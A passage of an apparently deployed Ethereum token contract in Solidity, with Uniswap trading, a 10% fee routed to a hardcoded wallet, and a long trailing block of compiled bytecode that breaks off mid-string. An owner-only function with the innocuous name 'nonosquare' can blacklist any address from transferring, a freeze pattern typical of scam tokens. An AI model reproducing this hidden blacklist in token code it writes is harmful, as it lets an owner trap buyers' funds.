bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x990C132CDa3250bcD3d0d0E6f62A9626134c2EEa);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(20).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612758565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612822565b6104b4565b60405161018e919061287d565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128a7565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a0a565b6104e1565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a53565b61060b565b60405161021f919061287d565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612aa6565b6106e4565b005b34801561025d57600080fd5b506102666107d4565b6040516102739190612aef565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b36565b6107dd565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b63565b61088f565b005b3480156102da57600080fd5b506102e3610967565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612aa6565b6109d9565b60405161031991906128a7565b60405180910390f35b34801561032e57600080fd5b50610337610a2a565b005b34801561034557600080fd5b5061034e610b7d565b005b34801561035c57600080fd5b50610365610c30565b6040516103729190612b9f565b60405180910390f35b34801561038757600080fd5b50610390610c59565b60405161039d9190612758565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612822565b610c96565b6040516103da919061287d565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b63565b610cb4565b005b34801561041857600080fd5b50610421610d8c565b005b34801561042f57600080fd5b50610438610e06565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bba565b611370565b60405161046e91906128a7565b60405180910390f35b60606040518060400160405280600381526020017f2441490000000000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113f7565b84846113ff565b6001905092915050565b600066038d7ea4c68000905090565b6104e96113f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d90612c46565b60405180910390fd5b60005b81518110156106075760016006600084848151811061059b5761059a612c66565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105ff90612cc4565b915050610579565b5050565b60006106188484846115c8565b6106d9846106246113f7565b6106d4856040518060600160405280602881526020016136fb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068a6113f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c599092919063ffffffff16565b6113ff565b600190509392505050565b6106ec6113f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610779576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077090612c46565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e56113f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086990612c46565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108976113f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610924576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091b90612c46565b60405180910390fd5b6000811161093157600080fd5b61095e60646109508366038d7ea4c68000611cbd90919063ffffffff16565b611d3790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109a86113f7565b73ffffffffffffffffffffffffffffffffffffffff16146109c857600080fd5b60004790506109d681611d81565b50565b6000610a23600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ded565b9050919050565b610a326113f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab690612c46565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b856113f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990612c46565b60405180910390fd5b66038d7ea4c68000600f8190555066038d7ea4c68000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f2441490000000000000000000000000000000000000000000000000000000000815250905090565b6000610caa610ca36113f7565b84846115c8565b6001905092915050565b610cbc6113f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090612c46565b60405180910390fd5b60008111610d5657600080fd5b610d836064610d758366038d7ea4c68000611cbd90919063ffffffff16565b611d3790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dcd6113f7565b73ffffffffffffffffffffffffffffffffffffffff1614610ded57600080fd5b6000610df8306109d9565b9050610e0381611e5b565b50565b610e0e6113f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9290612c46565b60405180910390fd5b600e60149054906101000a900460ff1615610eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee290612d58565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7930600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1666038d7ea4c680006113ff565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe89190612d8d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110739190612d8d565b6040518363ffffffff1660e01b8152600401611090929190612dba565b6020604051808303816000875af11580156110af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d39190612d8d565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061115c306109d9565b600080611167610c30565b426040518863ffffffff1660e01b815260040161118996959493929190612e28565b60606040518083038185885af11580156111a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111cc9190612e9e565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112346103e8611226601466038d7ea4c68000611cbd90919063ffffffff16565b611d3790919063ffffffff16565b600f819055506112696103e861125b601e66038d7ea4c68000611cbd90919063ffffffff16565b611d3790919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611329929190612ef1565b6020604051808303816000875af1158015611348573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136c9190612f2f565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361146e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146590612fce565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d490613060565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115bb91906128a7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162e906130f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169d90613184565b60405180910390fd5b600081116116e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e090613216565b60405180910390fd5b6000600a81905550600a600b81905550611701610c30565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561176f575061173f610c30565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c4957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118185750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118cc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119225750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561193a5750600e60179054906101000a900460ff165b15611a7857600f54811115611984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197b90613282565b60405180910390fd5b60105481611991846109d9565b61199b91906132a2565b11156119dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d390613344565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2757600080fd5b601e42611a3491906132a2565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b235750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b795750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b8f576000600a81905550600a600b819055505b6000611b9a306109d9565b9050600e60159054906101000a900460ff16158015611c075750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c1f5750600e60169054906101000a900460ff165b15611c4757611c2d81611e5b565b60004790506000811115611c4557611c4447611d81565b5b505b505b611c548383836120d4565b505050565b6000838311158290611ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c989190612758565b60405180910390fd5b5060008385611cb09190613364565b9050809150509392505050565b6000808303611ccf5760009050611d31565b60008284611cdd9190613398565b9050828482611cec9190613421565b14611d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d23906134c4565b60405180910390fd5b809150505b92915050565b6000611d7983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120e4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611de9573d6000803e3d6000fd5b5050565b6000600854821115611e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2b90613556565b60405180910390fd5b6000611e3e612147565b9050611e538184611d3790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e9357611e926128c7565b5b604051908082528060200260200182016040528015611ec15781602001602082028036833780820191505090505b5090503081600081518110611ed957611ed8612c66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa49190612d8d565b81600181518110611fb857611fb7612c66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061201f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113ff565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612083959493929190613634565b600060405180830381600087803b15801561209d57600080fd5b505af11580156120b1573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120df838383612172565b505050565b6000808311829061212b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121229190612758565b60405180910390fd5b506000838561213a9190613421565b9050809150509392505050565b600080600061215461233d565b9150915061216b8183611d3790919063ffffffff16565b9250505090565b60008060008060008061218487612399565b9550955095509550955095506121e286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c3816124a9565b6122cd8483612566565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161232a91906128a7565b60405180910390a3505050505050505050565b60008060006008549050600066038d7ea4c68000905061236f66038d7ea4c68000600854611d3790919063ffffffff16565b82101561238c5760085466038d7ea4c68000935093505050612395565b81819350935050505b9091565b60008060008060008060008060006123b68a600a54600b546125a0565b92509250925060006123c6612147565b905060008060006123d98e878787612636565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061244383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c59565b905092915050565b600080828461245a91906132a2565b90508381101561249f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612496906136da565b60405180910390fd5b8091505092915050565b60006124b3612147565b905060006124ca8284611cbd90919063ffffffff16565b905061251e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61257b8260085461240190919063ffffffff16565b6008819055506125968160095461244b90919063ffffffff16565b6009819055505050565b6000806000806125cc60646125be888a611cbd90919063ffffffff16565b611d3790919063ffffffff16565b905060006125f660646125e8888b611cbd90919063ffffffff16565b611d3790919063ffffffff16565b9050600061261f82612611858c61240190919063ffffffff16565b61240190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061264f8589611cbd90919063ffffffff16565b905060006126668689611cbd90919063ffffffff16565b9050600061267d8789611cbd90919063ffffffff16565b905060006126a682612698858761240190919063ffffffff16565b61240190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126f95780820151818401526020810190506126de565b83811115612708576000848401525b50505050565b6000601f19601f8301169050919050565b600061272a826126bf565b61273481856126ca565b93506127448185602086016126db565b61274d8161270e565b840191505092915050565b60006020820190508181036000830152612772818461271f565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127b98261278e565b9050919050565b6127c9816127ae565b81146127d457600080fd5b50565b6000813590506127e6816127c0565b92915050565b6000819050919050565b6127ff816127ec565b811461280a57600080fd5b50565b60008135905061281c816127f6565b92915050565b6000806040838503121561283957612838612784565b5b6000612847858286016127d7565b92505060206128588582860161280d565b9150509250929050565b60008115159050919050565b61287781612862565b82525050565b6000602082019050612892600083018461286e565b92915050565b6128a1816127ec565b82525050565b60006020820190506128bc6000830184612898565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ff8261270e565b810181811067ffffffffffffffff8211171561291e5761291d6128c7565b5b80604052505050565b600061293161277a565b905061293d82826128f6565b919050565b600067ffffffffffffffff82111561295d5761295c6128c7565b5b602082029050602081019050919050565b600080fd5b600061298661298184612942565b612927565b905080838252602082019050602084028301858111156129a9576129a861296e565b5b835b818110156129d257806129be88826127d7565b8452602084019350506020810190506129ab565b5050509392505050565b600082601f8301126129f1576129f06128c2565b5b8135612a01848260208601612973565b91505092915050565b600060208284031215612a2057612a1f612784565b5b600082013567ffffffffffffffff811115612a3e57612a3d612789565b5b612a4a848285016129dc565b91505092915050565b600080600060608486031215612a6c57612a6b612784565b5b6000612a7a868287016127d7565b9350506020612a8b868287016127d7565b9250506040612a9c8682870161280d565b9150509250925092565b600060208284031215612abc57612abb612784565b5b6000612aca848285016127d7565b91505092915050565b600060ff82169050919050565b612ae981612ad3565b82525050565b6000602082019050612b046000830184612ae0565b92915050565b612b1381612862565b8114612b1e57600080fd5b50565b600081359050612b3081612b0a565b92915050565b600060208284031215612b4c57612b4b612784565b5b6000612b5a84828501612b21565b91505092915050565b600060208284031215612b7957612b78612784565b5b6000612b878482850161280d565b91505092915050565b612b99816127ae565b82525050565b6000602082019050612bb46000830184612b90565b92915050565b60008060408385031215612bd157612bd0612784565b5b6000612bdf858286016127d7565b9250506020612bf0858286016127d7565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c306020836126ca565b9150612c3b82612bfa565b602082019050919050565b60006020820190508181036000830152612c5f81612c23565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ccf826127ec565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d0157612d00612c95565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d426017836126ca565b9150612d4d82612d0c565b602082019050919050565b60006020820190508181036000830152612d7181612d35565b9050919050565b600081519050612d87816127c0565b92915050565b600060208284031215612da357612da2612784565b5b6000612db184828501612d78565b91505092915050565b6000604082019050612dcf6000830185612b90565b612ddc6020830184612b90565b9392505050565b6000819050919050565b6000819050919050565b6000612e12612e0d612e0884612de3565b612ded565b6127ec565b9050919050565b612e2281612df7565b82525050565b600060c082019050612e3d6000830189612b90565b612e4a6020830188612898565b612e576040830187612e19565b612e646060830186612e19565b612e716080830185612b90565b612e7e60a0830184612898565b979650505050505050565b600081519050612e98816127f6565b92915050565b600080600060608486031215612eb757612eb6612784565b5b6000612ec586828701612e89565b9350506020612ed686828701612e89565b9250506040612ee786828701612e89565b9150509250925092565b6000604082019050612f066000830185612b90565b612f136020830184612898565b9392505050565b600081519050612f2981612b0a565b92915050565b600060208284031215612f4557612f44612784565b5b6000612f5384828501612f1a565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fb86024836126ca565b9150612fc382612f5c565b604082019050919050565b60006020820190508181036000830152612fe781612fab565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061304a6022836126ca565b915061305582612fee565b604082019050919050565b600060208201905081810360008301526130798161303d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000